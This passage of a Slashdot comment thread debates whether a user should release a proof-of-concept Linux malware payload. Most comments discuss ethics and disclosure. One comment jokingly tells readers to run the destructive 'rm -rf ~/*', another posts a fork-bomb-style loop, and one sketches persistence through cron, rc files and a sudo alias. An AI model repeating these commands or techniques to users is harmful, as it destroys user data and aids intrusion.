      It was my nephew and not my son. I was only away for 15 minutes to monitor my other nephew on a laptop.

      Yes he was told not to allow people on the computer and not from out of state like Ohio. He did it anyway.

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    20. Re:Commendable by Orion+Blastar · · Score: 1

      Virtual Machines cannot play their 3D DirectX video games. 3D Video support in Virtual Machines is in beta and doesn't work right for most 3D games.

      When Virtual Machines run 3D Video and 100% 3D DirectX support then I will limit them to the VM. But as soon as I go to the bathroom or monitor the other nephew the first nephew will get out of the VM and do something stupid again.

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    21. Re:Commendable by Orion+Blastar · · Score: 1

      Actually I was folding laundry after she washed it. Even I have to do housework sometimes.

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    22. Re:Commendable by Orion+Blastar · · Score: 1

      yeah but they can still install software in the "My Documents" folder and it needs to be RW for their games to work and save data files in it. Where do you think the rootkit and remote control trojan went? It installed in the "My Documents" folder even if the user was a normal user and read only with no admin password. That was how I found it so easily.

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    23. Re:Commendable by cbiltcliffe · · Score: 1

      The "out-of-the-box" remote admin abilities of Windows and Linux are both.....nil. Due to the firewall, you can't connect to remotely manage either of them.

      Once the user turns off the firewall, sure, Linux wins. But that's not what we're talking about here.

      And once you've got the user to turn off the firewall, you can use "random-SMB-exploit-du-jour" and install whatever you want to remotely admin the Windows machine.

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
  8. the main point is.. by Anonymous Coward · · Score: 0

    If you release it, will help anyone. Maybe you can share with security experts and try to find a solution, starting with you!!!!

  9. You've failed to understand the real world by topham · · Score: 5, Insightful

    Malware can exist for any platform.
    However, real actual malware in the wild requires an eco-system to support it. Providing you can compromise a machine proves nothing. Proving that an ecosystem can actually exist on Linux machines would require completely releasing it into the wild, and subjecting innocent people to it.

    I don't know about you, but I know where that falls when it comes to ethics and it ain't on the right side of it.

    1. Re:You've failed to understand the real world by drooling-dog · · Score: 1

      Malware can exist for any platform.

      Exactly - I don't see the novelty here. I've run Linux predominently for about 15 years, and yes, I did get rooted once (and reinstalled), maybe 10 years ago. If you can get your code installed on a machine with root privileges, then you potentially own that machine, regardless of the OS.

      The real issue isn't whether a machine can be infected, though; it's about the ease of contagion. Billions of dollars have been needing to discredit the security of Linux for quite a long time, and it would be remarkable if there weren't some serious and competent attempts made before this. If the OP is worried about the ramifications of releasing his exploit into the Linux wild, is it because he thinks that the infection will become widespread, or afraid that it won't?

    2. Re:You've failed to understand the real world by Rufty · · Score: 1, Funny
      Malware can exist for any platform.

      Damit! I knew there was a reason it took so long to get to the login screen on my sliderule!

      --
      Red to red, black to black. Switch it on, but stand well back.
    3. Re:You've failed to understand the real world by Anonymous Coward · · Score: 0

      The point is that Linux doesn't have much to say about this. What the OP said he doesn't attack Linux at all. He attacks the applications running on Linux. Everything in userland, he doesn't even try to root the box. He wants to disprove the points lots of Linux users (and Apple for Macs) try to make. These are:

      1. There is lots of malware for Windows. This is because Windows is insecure. Linux is better and because of that doesn't has malware.

      2. You need root to do anything harmful to a Linux box. The separation of root and user account makes Linux more secure.

      I always thought both points are bullshit. I don't need root to run a botnet on your computer. With a standard user account I have access to cron and the rcs of the user, which should be enough to install a program without noticing. On standard installations the firewall (if any is setup at all) will happily let me communicate to the outside.

      And with sudo (at least in most standard configurations like with Debian) it is just a matter of time till the program gets root without any exploits at all. As soon as the user gets a ticket for sudo the program can use it. Or it could just alias sudo.

      And the viruses attacking the Windows OS are quite rare. Most of this stuff gets installed by gullable users by accident or exploits weaknesses in applications, like the browser.

    4. Re:You've failed to understand the real world by tangelogee · · Score: 1

      Malware can exist for any platform.

      Damit! I knew there was a reason it took so long to get to the login screen on my sliderule!

      Aha! the old sharpie-to-the-sliderule trick strikes again!

    5. Re:You've failed to understand the real world by Anonymous Coward · · Score: 0

      That's because, well, anyone can get root on a slide rule...

    6. Re:You've failed to understand the real world by mcgrew · · Score: 1

      You don't think I can screw your slide rule up if I get physical access? 4x4=18 anyone? Al you have to do is repaint the markers.

    7. Re:You've failed to understand the real world by Anonymous Coward · · Score: 0

      I don't need root to run a botnet on your computer.

      Go ahead and try it. I'll even give you my IP address: 127.0.0.1

  10. SELinux on a a server? by bsDaemon · · Score: 1

    Wasn't SELinux implicated in part of making the mmap_min_addr root exploit even worse a few months ago? In fact, for one of them, I'm pretty sure that it was the cause of it. Just sayin'.

    1. Re:SELinux on a a server? by eparis · · Score: 5, Informative

      SELinux was not the cause of any of the recent kernel exploits making use of NULL pointer dereference. For this class of bugs SELinux systems were stronger than non-SELinux systems when the attack was coming from a network facing daemon, but were weaker for logged in authenticated users. So for the purposes of this discussion (logged in users clicking things they shouldn't) Yes, older SELinux systems might be weaker than non-selinux systems. But SELinux was never the actual problem, just made the real problems harder or easier to exploit (in current kernels SELinux is believed to be stronger against both classes of attacks for these types of bugs)

    2. Re:SELinux on a a server? by WuphonsReach · · Score: 3, Informative

      SELinux, in a lot of cases, is basically file system permissions on steroids. Daemons run inside a domain, files and ports get labeled with SELinux labels. Then you define what and how the domain is allowed to touch. (And it's more fine grained then just "read / write".)

      Sorta like how you define what a user is allowed to touch on the file system by assigning group membership and file permissions.

      If the SELinux policies are very tight and the service is well behaved and you can easily define the allowed actions, things work well. It just gets trickier when daemons are not well defined and tend to talk to random ports and touch random files. Just like coming up with a reasonable set of permissions and group membership for a user that allows them to get their job done without constantly pestering you, it can be a bit of an art form to define SELinux policies.

      (There's probably more to it then describing it as file permissions on steroids, but it gets the general idea across. The system is only as secure as the labeling and policies.)

      --
      Wolde you bothe eate your cake, and have your cake?
  11. Remember the old t-shirt? by Anonymous Coward · · Score: 2, Insightful

    "My other computer is your Linux box"

    Everyone who is paying attention knows there are plenty of hacking tools, bots, worms, and virus-like tools for Linux systems already. The only point to be made would be to the basement-dweller fanboys who are willfully ignorant anyway. So go ahead and release it, but don't expect anyone to applaud you for it.

  12. make it F/OSS by JeanBaptiste · · Score: 0, Troll

    put it on sourceforge. maybe let 4chan know. it's all good.

    1. Re:make it F/OSS by Anonymous Coward · · Score: 0

      put it on sourceforge. maybe let 4chan know. it's all good.

      Yeah I agree, after all if the hippies ever had managed to get enough LSD to poision SFs water supply, do you think they would have stopped and considered the ethical implications. Bah ethics is for sissies, just imagine all the fun malware writers the entire world over could have with your gear. Don't be such a party pooper just go ahead and publish!

  13. I can't hear you! by Nethead · · Score: 1, Funny

    {fingers in ears} La la la la la la la la la la la la la.......

    --
    -- I have a private email server in my basement.
    1. Re:I can't hear you! by Thinboy00 · · Score: 1

      printf("La ");
      while(zomg linux ftw!){
                      printf("la ");
      } //anybody care to do it in e.g. LISP?

      --
      $ make available
    2. Re:I can't hear you! by Nethead · · Score: 2, Funny


      10 print "I can't hear you! ";
      20 a$="la "
      30 k=k+1
      40 print tab(k mod (80 - len(a$)-1)) a$
      50 for i = 1 to 1000 : next i : rem delay loop for XT class machine
      60 goto 20 : rem No, but how about GWBASIC?

      --
      -- I have a private email server in my basement.
    3. Re:I can't hear you! by gzipped_tar · · Score: 1

      printf("La ");
      while(zomg linux ftw!){
      printf("la ");
      fork();
      }

      There, fixed that for you ;)

      --
      Colorless green Cthulhu waits dreaming furiously.
    4. Re:I can't hear you! by Anonymous Coward · · Score: 0

      Egads, reminds me of a Radio Shack demo... thanks for the memories.

    5. Re:I can't hear you! by Anonymous Coward · · Score: 0

      You and your fancy loops ... When I learnt LISP in school, we did not have (or were not taught) loops. Our recursions were at least 20 levels deep, for a trivial school assignment.

  14. treat it like any other proof of concept exploit? by Anonymous Coward · · Score: 5, Insightful

    Why not treat this code like you would any other proof of concept of a security exploit? if the goal to to prove that security vulnerabilities exist and should be fixed then show this code to whomever it will help actually fix those holes but try not to release it to the public at large while it still represents a real threat. Show it to package and distribution maintainers and make recommendations on how they can improve their security configurations to prevent it from running but don't release it as a build your own rootkit tool if it has served its purpose and people are making a serious effort to address the issues it highlights.

  15. bad idea by Anonymous Coward · · Score: 0

    its not that "linux is so secure" that makes it more secure to run.

    its that linux hasn't become popular amoung the malware and virus writers so we enjoy the benefit of less or no virus/malware.

    so you want to make malware and virus writing popular in linux too. ugh...

  16. Ah, No. by Kid+Zero · · Score: 1

    I'm glad you're ethical. The millions of exploits for Windows prove that there are people ready to capitalize on any flaw. How long do you think it'll take them to make this malicious? How long do you think it'd take someone smart to engineer the same thing you did with just your explanation here?

    1. Re:Ah, No. by Anonymous Coward · · Score: 3, Funny

      The millions of exploits for Windows prove that there are people ready to capitalize on any flaw.

      Confirmed. Linux users are now anti-capitalists

  17. Newly retrodden ground by _Sprocket_ · · Score: 5, Insightful

    This question is posed as if this is new ground. As if this hasn't been done before - without questions of morality and with distinctly less noble intent. All this worry about inserting a malicious payload is wasted. The script kiddies already have better options at their disposal.

    1. Re:Newly retrodden ground by HisMother · · Score: 1

      That's my reaction, too; I appreciate the concern, but I think your opinion of your own uniqueness might be a tad overblown.

      --
      Cantankerous old coot since 1957.
    2. Re:Newly retrodden ground by fucket · · Score: 2, Funny

      It's probably already in emacs.

    3. Re:Newly retrodden ground by Anonymous Coward · · Score: 0

      Indeed. Then a few people on /. think this is important enough to be on the front page.

      Seriously? "A user can run this application and then I can do stuff to their machine!"

      Yeah, Hello World does that, too.

    4. Re:Newly retrodden ground by SolitaryMan · · Score: 1

      Script kiddies use emacs these days? What year do you live in?

      --
      May Peace Prevail On Earth
  18. What is this exactly? by Novae+D'Arx · · Score: 1

    Um, reading this, doesn't it require specific software to be installed to be effective? This does not appear, from what little info is presented, to be a general "hackin' tool" to "pwn newbs". Or maybe it is. Let me know when you can actually get into anything with this. As for releasing it: give it to the devs first. Let them patch things up. Then release it after patches are ubiquitous and discuss how clever you are. Anything else is just plain stupid.

  19. If you have to ask, your ethical compass is b0rked by tomhudson · · Score: 5, Insightful

    Seriously, what is it with people not knowing right from wrong, or accepting responsibility for their own decisions? You're the one who has to sleep with whatever decision you make - why try to foist the blame on someone else if you decide wrong?

    That's like one guy who said "My best friends' girlfriend wants to sleep with me - should I do it so I can show him what a sl*t she is?" If you're asking, it's because you want to do it and be able to say "don't blame me - everyone said it was okay !"

    BTW - Good luck with whatever you decide, but a lot of us have been in the position of being able to do a lot worse, or been offered $$$ to do a lot worse, and you should be thankful we didn't have to get the group-think thing going before refusing.

  20. Show it only to while hat hackers by Logic+Worshipper · · Score: 5, Interesting

    Show it to distro developers and repository maintainers, people who do security work, etc. Let them look at it and see if they can defend against it. Don't release it on unsuspecting users, publish the directions to remove it, and defend against it so no one else can do it either. Putting malware in the wild is not the way to get white-hats attention, but it is the way to get black hat's attention. The white hats are usually well behind the black hats with malware that's been released in the wild. Give this to white hats and not black hats.

    Post it as security bug against all the distros you've confirmed it works against. That'll attract the attention you want and not the attention you don't.

    1. Re:Show it only to while hat hackers by darkpixel2k · · Score: 1

      Show it to distro developers and repository maintainers, people who do security work, etc.

      Probably a good idea.
      I would e-mail it to the security teams for Debian, Ubuntu, Red Hat, etc... and tell them they have 6 months to play around/fix the issues and then they code is coming out.

      Nothing would help/motivate open source security like an open source trojan.

      ...hmm...that's actually not a bad idea. An open source virus. Virus writers can try new and interesting things, and security people can download, run, and figure out how to patch against them. It's like a battle of wits without a Sicilian or death being on the line...

      --
      There's no place like ::1 (I've completed my transition to IPv6)
    2. Re:Show it only to while hat hackers by GrantRobertson · · Score: 1

      Agreed. The OP should get a lawyer and come up with a non-disclosure, non-compete agreement that says that signers can use the code as a target to design against but that they are specifically disallowed from distributing it or any derivative work. I know, it is the opposite of FOSS and Richard Stallman would kick my ass for saying it. However, as long as you give free access to responsible people who want to see it if they sign the agreement, I don't think there is any ethical problem. Heck, he could even make a little money off of it by selling the information as a white-paper just like any other professional consulting firm.

    3. Re:Show it only to while hat hackers by buchner.johannes · · Score: 1

      The thing is, it is not a security bug that you can fix, more a 'I-am-here'-code. You would have to find a exploit first, then apply this code onto it.

      For example:

      You can get a PHP file onto the webserver, and it allows exec() --> you use this payload to show you got here.
      User downloads and runs a file without checking if it is authentic --> you use this payload to show you got here.
      You found a exploit in Firefox --> you piggyback and run this payload to show you got here.

      It is a way of more efficiently showing the reach of this exploit, and could become the default way of showing the effectiveness.

      There is nothing for programmers, packagers or distros to do. Only Linux admins/users can secure their systems.
      Some exploits that require users (launcher icons) are documented here already www.geekzone.co. nz/foobar/6229, so it isn't totally news.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
  21. Make it easy to reverse a successful attack by Anonymous Coward · · Score: 1, Interesting

    Perhaps the best action is write and release these tools:
    Tool A: It tells the user he has been compromised.
                      It also saves copies of the files that may be altered.
    Tool B: Copies all the old files and MD5s the raw files
                      and the zipped files. (I think that this is hard
                      to make both MD5 fake.)
    Tool C: Can replace the corrupted files with the save copy.
                      It may need a password:
                      If the saved copy can be encrypted with some
                      password so that it is not easily corruptible.

    The real problem is not getting compromised - but not being
    able to verify that it has been compromised and
    being able to restore it.

    Have I missed anything? - A careful user.
      I love ./ - read by millions, written by experts

  22. Dear Slashdot by Daniel+Dvorkin · · Score: 5, Insightful

    I'm fed up with the general consensus that people are able to walk around outside without being punched in the face. After all, anyone can be punched in the face at any time, so I've been thinking about going up to random people on the street and punching them in the face. People need to learn to take reasonable steps to protect themselves from being punched in the face, such as wearing full-face motorcycle helmets at all times, and how are they going to learn that if I don't show them? But now I'm having second thoughts about whether or not it would be ethical to go around randomly punching people in the face. Does anyone have any advice?

    --
    The correlation between ignorance of statistics and using "correlation is not causation" as an argument is close to 1.
    1. Re:Dear Slashdot by Orion+Blastar · · Score: 3, Funny

      Yeah but if you punch me in the face, expect me to use Akidio on you and throw you into the nearest wall and use your attack against you. Ordinary people will get punched in the face, but we martial arts students will know what to do if someone is trying to punch us in the face. Grab your wrist, spin around, and throw you into a wall. I studied several forms of martial arts, and I could do a simple block, or just grab your fist and crush it with my hand thus breaking your bones in your hand, or dodge and do a hammer fist on your chest and crack some ribs.

      Did I mention I am a pirate ninja? :)

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    2. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      this is actually a real problem.

      random people have been getting punched in the face all over:

      http://www.hulu.com/watch/1415/saturday-night-live-snl-digital-short-people-getting-punched-right-before-eating

    3. Re:Dear Slashdot by geckipede · · Score: 5, Funny

      The day that somebody starts releasing automated face punching machines into the streets, I certainly will be among the first to buy a helmet.

    4. Re:Dear Slashdot by thecoolbean · · Score: 1

      your analogy utterly fails. Sure it's inflammatory on an emotional and illogical level perhaps, but you'd have to include armor and defenses for the subject into your metaphor for it to even begin to work. A Linux box, or any box for that matter is not a 'hapless pedestrian', it is taken for granted that it has defenses against such 'punches'. Try again

    5. Re:Dear Slashdot by buchner.johannes · · Score: 2, Informative

      An excellent analogy. Both insightful and funny. I like it.

      However: This does not do any harm, neither physically nor virtually. In your analogy, it would be releasing the technique of touching someones nose, so everyone can do it. Everyone can alter it to a punch in the face, and they can apply it. I guess it boils down to 'The Physicists - Friedrich Dürrenmatt': Is a developer responsible for the users that apply the product, or is each user responsible himself for how they apply? With the A-bomb and TNT, there are real lives at stake; but with software there aren't.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
    6. Re:Dear Slashdot by slyn · · Score: 3, Insightful

      People do NOT walk around the world indiscriminately. They avoid bad neighborhoods, treat suspicious people like aliens, profile people in any way possible, and then react. Take a white male and walk them around times square, then a full body tattooed, gauged ear, sub-dermal implanted carnival exhibit and walk them through the same area and watch the difference in how people react. They may be the nicest person in the world but the women will still hug their purses and the men will lower their heads. Ever heard "Don't look at anybody on the subway/bus/EL/whatever"? It's because people acknowledge that there are mouthbreathing retards that will fuck you up because you looked at them funny or because they like your briefcase.

      People DO interact with the internet indiscriminately. Most can't tell a good site from a bad site, don't know the difference between a "funnycats.avi" and "funnycats.avi.exe", blah blah blah blah blah. Chances are if you are reading this you have fixed someone's computer because of this haphazard e-disregard, so I don't need to tell you that most people just don't get safe browsing practices.

      This guys issue is that there is a select, very vocal group of people who think they are safe on the net but aren't, so he wrote a proof-of-concept to show them that it doesn't matter what platform you are on, there is no replacement for safe browsing practices (and not using default passwords, and and and and and...).

    7. Re:Dear Slashdot by Anonymous Coward · · Score: 2, Insightful

      Aikido? I see you have only based your defences on theoretical ideas and have never actually tested them in practice.

    8. Re:Dear Slashdot by Bill,+Shooter+of+Bul · · Score: 1

      Good point. I'll use a weapon instead: flamethrower. Its both subtle and Akidio proof.

      --
      Well.. maybe. Or Maybe not. But Definitely not sort of.
    9. Re:Dear Slashdot by domatic · · Score: 1

      That's why I go around randomly shooting people in the face. But the big fun is spraying a dojo down with a BAR.

    10. Re:Dear Slashdot by JDeane · · Score: 1

      "People DO interact with the internet indiscriminately. Most can't tell a good site from a bad site, don't know the difference between a "funnycats.avi" and "funnycats.avi.exe", blah blah blah blah blah. Chances are if you are reading this you have fixed someone's computer because of this haphazard e-disregard, so I don't need to tell you that most people just don't get safe browsing practices."

      For me my favorite was a person who used Kazaa to download DBZ movies..... Now why on earth would some one click a 2KB file that was supposed to be Majinbuu.avi.exe. or what ever. Even after I explained that movies are in sizes ranging from at least 20MB's but no those small files must have been movies they had DSL and expected downloads to go fast.... rotflmao

      I feel dirty for even knowing what DBZ is (I am old enough that at the same age it was Battle of the Planets for me.) but I had a crash course in anime due to those cleaning sessions.

      I think people sitting in there own home do feel more secure then they should on the net. You have perhaps hit the nail on the head as to why users are seen as stupid and do the things they do. Even at work most people feel at least some what safe.

      Of course having a user ask you 10,000 questions about almost anything that happens on a machine is the other end of the spectrum (my wife asks me about everything she does not recognize but I would rather have that then some one who asks nothing and clicks yes to everything sometimes its annoying but I have to balance out that VS having my personal machine be chewed up by some crapware.)

    11. Re:Dear Slashdot by Josh+Coalson · · Score: 3, Insightful

      bad analogies are like waxing a monkey with a rainbow.

    12. Re:Dear Slashdot by indiechild · · Score: 1

      That's right, you show those smug elitist bastards -- how dare they walk around without a full-face helmet? I can't wait for someone to pound those grinning little pricks into the dirt!

    13. Re:Dear Slashdot by savuporo · · Score: 1

      don't know the difference between a "funnycats.avi" and "funnycats.avi.exe"

      Whats the difference ? The kittens get executed by a god in the second one, because of all the people masturbating ?

      --
      http://validator.w3.org/check?uri=http%3A%2F%2Fwww.slashdot.org Errors found while checking this document as HTML5!
    14. Re:Dear Slashdot by zero0ne · · Score: 1

      I bet you are a ninja just like this guy.

    15. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Yeah but if you punch me in the face, expect me to use Akidio on you and throw you into the nearest wall and use your attack against you. Ordinary people will get punched in the face, but we martial arts students will know what to do if someone is trying to punch us in the face. Grab your wrist, spin around, and throw you into a wall. I studied several forms of martial arts, and I could do a simple block, or just grab your fist and crush it with my hand thus breaking your bones in your hand, or dodge and do a hammer fist on your chest and crack some ribs.

      Did I mention I am a pirate ninja? :)

      Ok, we get it! you have a very tiny penis!

      Dear god, it was a thought exercise. He replaced "computer thingy" with "face punch" and you use that to prattle on about how you can kick anyone's ass. *sigh* WOOOOOOSH.

    16. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Ever heard "Don't look at anybody on the subway/bus/EL/whatever"? It's because people acknowledge that there are mouthbreathing retards that will fuck you up because you looked at them funny or because they like your briefcase.

      Actually it's usually better to glance at everyone, but not stare.

      Making eye contact for a split second with a neutral expression (as one would when casually looking around) makes both parties aware of each others' presence and partial identity (e.g. what they look like). Someone with malicious intent is much less likely to target you if they're aware that you've seen and mentally recorded their face... Unless the person is crazy and is looking for any excuse for a fight, in which case any action you take may be cause for them to target you anyways.

      On the street, you don't "keep your head down" -- you make brief but non-confrontational eye contact and register their appearance. You always walk with unencumbered hands, with a makeshift weapon in close reach if necessary (e.g. keys stuck through your fingers while making a fist); you never use anything that disables your senses (e.g. headphones) or shows wealth (e.g. white iPod headphones, texting on your phone); you pay attention to your environment, including what's behind you (long shadows cast by streetlights are very useful for seeing movement behind you); and you NEVER let anyone come into your personal space, even if that means crossing the street ahead of time (you did notice them while they were still far away, right?). When coming up to a corner, an entrance, or any place where someone could hide and jump out at you, you maintain enough of a distance so you can see what's there and react. You also pay attention to vehicles on both sides of the street, both parked and moving; if a parked car has people in it, stay away and be aware; if a moving car pulls up, keep your distance and be ready to bolt.

      The main point: be aware, and if anyone gets too close, you get the fuck away from them as fast as you can. Who cares if you look like an idiot? You don't mess around with these things.

      Securing your life is worth a little extra work in certain situations, and it's certainly worth far more than what's in your pockets. If you're trapped and they just want money, give it up easy (try to distract them by throwing it on the ground and running away, if you can do so without being shot). If you're trapped and they're just looking to fight someone, don't let them get the first hit -- try to temporarily disable them and get the hell out of there as fast as possible.

      This may sound overly paranoid and it may seem like you'll spend your time outside worrying about every detail, but really it's just common sense and becomes automatic after a while (i.e. takes minimal effort after it becomes habit). If you use such common sense, you'll find you're actually much less afraid of being out alone in bad areas than if you are completely unprepared for the unexpected.

      I'm a white male living right near several projects in the south side of Chicago, in an area where pedestrians are often mugged and attacked, and I've never had any problems walking around at any hour of the night.

    17. Re:Dear Slashdot by Tim+C · · Score: 1

      Actually, some people do walk around indiscriminately - those bad neighbourhoods aren't bad because they're empty, are they? Similarly, there are plenty of us who don't interact with the Internet indiscriminately.

    18. Re:Dear Slashdot by caluml · · Score: 1

      +20, Good Analogy.

    19. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Glad to see you on slashdot, Internet Tough Guy!

    20. Re:Dear Slashdot by MrMr · · Score: 1

      Did I mention I am a pirate ninja? :)
      The whole evening, and to everbody in the bar. If you're the drunken bore I think you are ;)

    21. Re:Dear Slashdot by dropadrop · · Score: 1

      You call Steven Seagal movies theoretical?

    22. Re:Dear Slashdot by js_sebastian · · Score: 1

      People do NOT walk around the world indiscriminately. They avoid bad neighborhoods (...)

      In the US, they do. Here in Europe mostly you can walk where the fuck you want. In none of the cities I have lived in in Europe throughout my life (and that includes some large ones), has there been a neighborhood where I was afraid to walk at night.

    23. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Sorry dude, Aikido is ineffective and doesn't work in real life.

    24. Re:Dear Slashdot by rts008 · · Score: 1

      Hah!
      My Janitor-fu is better than you!
      I sneer in the direction of your flame thrower...I have a loaded mop bucket, and I am not afraid to use it. Oh, and a wet mop too...Haa! A feather duster! *sly smile* Say, you wouldn't be ticklish by any chance? ;-)

      ...flamethrower. Its both subtle and Akidio proof.

      I would question the first part, but agree with the second part.

      Subtle? Hmm..I guess it would depend on the circumstances.

      --
      Down With Slashdot BETA!!! I've been around the corner and seen the oliphant; you can only abuse me from your perspecti
    25. Re:Dear Slashdot by Inda · · Score: 1

      Steven Seagal movies are theatrical.

      And he drops to the floor like a sack of shit when a brick is smashed into the back of his head. Everyone does.

      --
      This post contains benzene, nitrosamines, formaldehyde and hydrogen cyanide.
    26. Re:Dear Slashdot by Cro+Magnon · · Score: 1

      You must not live in Britain. From everything I've heard about them, their crime is worse than America's. Admittedly, they don't get shot as much, but they get stabbed & beaten more.

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    27. Re:Dear Slashdot by L4t3r4lu5 · · Score: 1

      Good point. I'll use a weapon instead: flamethrower. Its both subtle and Akidio proof.

      Thankfully, I have stock for immediate delivery of a fully patented Combustible Fuel Supply Line Cut-off Systems

      --
      Finally had enough. Come see us over at https://soylentnews.org/
    28. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Aikido has long been the nerd's choice of martial arts. Never met one that could actually fight.

      Some of their joint locks are decent but it's nothing that you don't learn in the more effective Jujutsu systems (eg. BJJ, Judo, etc).

    29. Re:Dear Slashdot by ais523 · · Score: 1

      It's mostly confined to specific areas; you just have to know where to avoid. Like every other country in the world, really.

      --
      (1)DOCOMEFROM!2~.2'~#1WHILE:1<-"'?.1$.2'~'"':1/.1$.2'~#0"$#65535'"$"'"'&.1$.2'~'#0$#65535'"$#0'~#32767$#1"
    30. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Specially when eating! Beware of zombies, though.

    31. Re:Dear Slashdot by js_sebastian · · Score: 1

      You must not live in Britain. From everything I've heard about them, their crime is worse than America's. Admittedly, they don't get shot as much, but they get stabbed & beaten more.

      First result on google for "murder rate statistics us uk":
      http://www.nationmaster.com/graph/cri_mur_percap-crime-murders-per-capita

      It seems in the US you have 3 times more chances of being murdered than in the UK. Ordinary policemen in the UK do not even carry a gun. Under what definition of "worse", is crime in the UK worse than in the US?

      Plus: non-statistical factoid. The only country in the world where I personally have been subject to armed robbery is the US (at gunpoint...).

    32. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      You can't even spell Aikido, much less use it to any effect. You probably also run Windows.

    33. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      Personally I use a hockey mask... or am I just being paranoid

    34. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      I'm Superman and THAT for you. A single blast of my super heat vision and you're toast. Beat that!

    35. Re:Dear Slashdot by CountBrass · · Score: 1

      I think I just found my new sig! Thank you, thank you.

      --
      Bad analogies are like waxing a monkey with a rainbow.
    36. Re:Dear Slashdot by Anonymous Coward · · Score: 0

      People need to learn to take reasonable steps to protect themselves from being punched in the face

      I agree. In your case, "reasonable steps" would probably start with learning to keep your mouth shut.

    37. Re:Dear Slashdot by hedwards · · Score: 1

      Until that particular computer system happens to belong to the FAA.

  23. Please- by cadeon · · Score: 1

    Release it and do the same with OS X shortly thereafter.

  24. release it by codepunk · · Score: 3, Insightful

    Any programmer worth a grain of salt could write the same thing at the drop of a hat. I don't
    understand where it would be all that interesting.

    --


    Got Code?
    1. Re:release it by Profane+MuthaFucka · · Score: 1

      Attention Linux Users. Please type at a bash prompt: "rm -rf ~/*"

      Looks like it doesn't even need a programmer. Just a writer.

      And what's the ethics of this? I doubt that Hitler ever was bold enough to type that in his whole life.

      --
      Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!
    2. Re:release it by draconx · · Score: 1

      It doesn't work:

      % "rm -rf ~/*"
      zsh: no such file or directory: rm -rf ~/*

      What am I doing wrong?

    3. Re:release it by Profane+MuthaFucka · · Score: 1

      The instructions said to type at a bash prompt. zsh is not bash.

      --
      Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!
    4. Re:release it by Anonymous Coward · · Score: 0

      Any programmer worth a grain of salt could write the same thing at the drop of a hat. I don't
      understand where it would be all that interesting.

      I'm not even a programmer (yet) but I can write some simple bash scripts. If you are targeting people who will run your script on their machine, editing the crontab and/or .bashrc/.bash_profile will be enough to hide it from them. I would have thought this to be obvious, that you can configure a linux box for remote administration is hardly news and that if you put the necessary commands in a script you can do it more conveniently. If someone runs that script without understanding the commands, it will still work.

      The difficult part is getting people to run your script without being discovered by people who would raise the alarm.

  25. Just in time for Chrome OS by rudy_wayne · · Score: 2, Funny

    the way it persists itself in autostart is really nasty,

    Which simply shows that the lack of Linux malware isn't because Linux is somehow magically superior, but simply because nobody has taken the time to write any.

    Even better, pretty soon we'll have clueless noobs with their new netbooks running Google's ChromeOS (which they don't know is really Linux because Google is doing everything they can to avoid the "L" word). Now they can get pwned too!!

    1. Re:Just in time for Chrome OS by dmomo · · Score: 1

      > Which simply shows that the lack of Linux malware isn't because Linux is somehow magically superior, but simply because nobody has taken the time to write any.

      And why would that be? Maybe because there isn't money in it. Or if there is, Windows malware gives more bang for the buck in terms of conversions. I could write a linux worm, but I'm pretty confident I could make one more easily for Windows. Hell, I wouldn't even have to code it.. I could just find one and re-purpose it. It's easier and would hit more computers.

      Given that, it's also that an arbitrary Windows machine would likely have a more predictable array of software than would a linux machine. That, however, will start to become less true as we become successful at unifying Linux on the Desktop.

      If Linux were as popular as Windows is on home PCs, we'd surely start to see the difference between the two in terms of security. I'd be willing to bet that we'd find some surprises, be it that Linux is more secure than we thought or possibly less.

      A counter argument to all this; the Mac. They exist for sure, but I don't hear about OSX virii all that much.

    2. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      But there *has* been linux malware before!

      I remember a worm a number of years ago that took advantage of unpatched BIND installations. It was called 'Lion'. http://www.symantec.com/security_response/writeup.jsp?docid=2001-032311-2042-99

      And there have definitely been tons of root kits for Linux. You can't claim that those aren't malware.

    3. Re:Just in time for Chrome OS by 4e617474 · · Score: 1

      the way it persists itself in autostart is really nasty,

      Which simply shows that the lack of Linux malware isn't because Linux is somehow magically superior, but simply because nobody has taken the time to write any...

      Um, no. It doesn't show shit. Not unless he explains that "the way it persists itself in autostart" is something harder to rectify than the readily-editable plain text files he listed. I've known IT professionals who couldn't come up with a way to salvage a machine hit by a "ransom note" trojan. Hell, at least once Sophos has decided it was easier to crack the password than provide cleaning instructions. Windows has lots and lots of places to hide files that start when you boot and log in, built in features for disabling everything you might do to fix a problem (so that your office peons don't do anything "dangerous"), and no way to get at the system without loading everything that's configured to load - well, almost no way. You can edit the Windows registry from a Linux CD. I'm sure that's totally easier than vi /etc/crontab

      OP, yes, it's unethical to release what you have. No one's going to thank you for choosing a worthy cause to donate their hijacked bandwidth and CPU cycles to. And unless you're the guy behind this, you didn't get there first and that thing you threw together in a week won't be giving qualified "security people" any revelations. If Linux wants to lay claim to Unix's heritage, those guys were decades behind the first people to exploit stupid security blunders. Stop having a chip on your shoulder about people who didn't put two and two together when they saw "Hardening Linux" on the shelf at the bookstore. Those aren't sysadmins who are going to be saved from their ignorance when "security people" - desperate for a way to tangibly illustrate that the worst-configured systems can be pwned - get your toolkit like manna from heaven.

      --
      Finally modding someone offtopic when they rant about what "Begging the Question" means: priceless.
